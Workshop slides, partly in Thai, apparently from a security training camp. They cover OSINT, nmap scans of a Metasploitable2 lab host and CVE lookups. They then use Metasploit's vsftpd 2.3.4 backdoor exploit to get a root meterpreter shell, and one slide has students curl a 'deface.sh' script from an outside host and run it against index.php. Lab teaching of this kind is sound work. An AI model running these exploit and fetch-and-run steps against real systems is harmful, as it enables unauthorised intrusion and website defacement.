

Workshop 5

Reconnaissance & Scanning



สไลด์การเรียนรู้



Lesson 1

OSINT

What is OSINT??

Open-Source Intelligence

ข่าวกรองแหล่งเปิดจากการสะสม ประมวลผลข้อมูลจากแพลตฟอร์มสาธารณะต่างๆ เข้าด้วยกัน





Cherry Blossoms



Lesson 2

Reconnaissance

Now we check which "doors" are open. **nmap 172.25.2.10**

```
(kali@0dc527851f17)-[~]
```

```
$ nmap 172.25.2.10
```

```
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-19 09:35 +0000
```

```
Nmap scan report for 172.25.2.10
```

```
Host is up (0.00029s latency).
```

```
Not shown: 977 closed tcp ports (reset)
```

```
PORT      STATE SERVICE
```

```
21/tcp    open  ftp
```

```
22/tcp    open  ssh
```

```
23/tcp    open  telnet
```

```
25/tcp    open  smtp
```

```
53/tcp    open  domain
```

```
80/tcp    open  http
```

```
111/tcp   open  rpcbind
```

```
139/tcp   open  netbios-ssn
```

```
445/tcp   open  microsoft-ds
```

```
512/tcp   open  exec
```

```
513/tcp   open  login
```

```
514/tcp   open  shell
```

```
1099/tcp  open  rmiregistry
```

```
1524/tcp  open  ingreslock
```

```
2049/tcp  open  nfs
```

```
2121/tcp  open  ccproxy-ftp
```

```
3306/tcp  open  mysql
```

```
5432/tcp  open  postgresql
```

```
5900/tcp  open  vnc
```

```
6000/tcp  open  X11
```

```
6667/tcp  open  irc
```

```
8009/tcp  open  ajp13
```

```
8180/tcp  open  unknown
```

```
MAC Address: BC:24:12:00:75:41 (Unknown)
```

```
Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
```

Deep dive. `nmap -sC -sV -O 172.25.2.10`

```
(kali@0dc527851f17)-[~]  
$ nmap -sC -sV -O 172.25.2.10  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-19 09:34 +0000  
Nmap scan report for 172.25.2.10  
Host is up (0.00084s latency).  
Not shown: 977 closed tcp ports (reset)
```

80/tcp - http

Check CVE (Common Vulnerabilities and Exposures)

```
80/tcp  open  http      Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
```

Apache version (HTTP Services)

Current Version: 2.2.8

Newest Version: 2.4.68

Search Results

Showing 1 - 2 of 2 results for **apache 2.2.8**

Show:

25



Sort by:

CVE ID (new to old)



[CVE-2022-29405](#)

CNA: Apache Software
Foundation

In Apache Archiva, any registered user can reset password for any users. This is fixed in Archiva 2.2.8

[CVE-2008-2364](#)

CNA: Red Hat, Inc.

The ap_proxy_http_process_response function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server 2.0.63 and 2.2.8 does not limit the number of forwarded interim responses, which allows remote HTTP...

[Show more](#)

21/tcp - ftp

```
21/tcp  open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|     Connected to 172.25.2.69
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

Search Results

Showing 1 - 2 of 2 results for **vsftpd 2.3.4**

Show:

25 ▼

Sort by:

CVE ID (new to old) ▼

CVE-2011-2523

CNA: Red Hat, Inc.

vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.

CVE-2011-0762

CNA: CERT/CC

The vsf_filename_passes_filter function in ls.c in vsftpd before 2.3.3 allows remote authenticated users to cause a denial of service (CPU consumption and process slot exhaustion) via crafted glob expressions in...

[Show more](#)

21/tcp - ftp

ip a

```
(kaliⓈ 0dc527851f17)-[~]  
$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
    inet6 ::1/128 scope host proto kernel_lo  
        valid_lft forever preferred_lft forever  
2359: eth0@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default  
    link/ether 12:83:9c:ec:6f:54 brd ff:ff:ff:ff:ff:ff link-netnsid 0  
    inet 172.25.2.69/24 brd 172.25.2.255 scope global eth0  
        valid_lft forever preferred_lft forever
```

→ 172.25.2.XX

msfconsole

[illegible]

21/tcp - ftp

search vsftpd

```
msf > search vsftpd
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	Yes	VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

21/tcp - ftp

use 1

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.25.2.10
RHOSTS => 172.25.2.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 172.24.5.39
LHOST => 172.24.5.39
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) exploit
[*] Started reverse TCP handler on 172.25.2.69:4444
[*] 172.25.2.10:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.25.2.10:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)
[+] 172.25.2.10:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 172.25.2.10:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (172.25.2.69:4444 → 172.25.2.10:53153) at 2026-06-19 11:53:47 +0000

meterpreter > |
```

21/tcp - ftp

Type:

1. `python -c 'import pty; pty.spawn("/bin/bash")'`
2. `curl -O http://share.aiotsecuritylab.net/camp/deface.sh`
3. `chmod +x deface.sh`
4. `./deface.sh index.php`

21/tcp - ftp

```
meterpreter > shell
Process 9637 created.
Channel 2 created.

whoami
root

hostname
metasploitable

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether bc:24:12:00:75:41 brd ff:ff:ff:ff:ff:ff
    inet 172.25.2.10/24 brd 172.25.2.255 scope global eth0
    inet6 fe80::be24:12ff:fe00:7541/64 scope link
        valid_lft forever preferred_lft forever
```

อย่า

เพลอ

ไป

แฮก

ใคร

นะจ๊ะ

จู้ย!!!

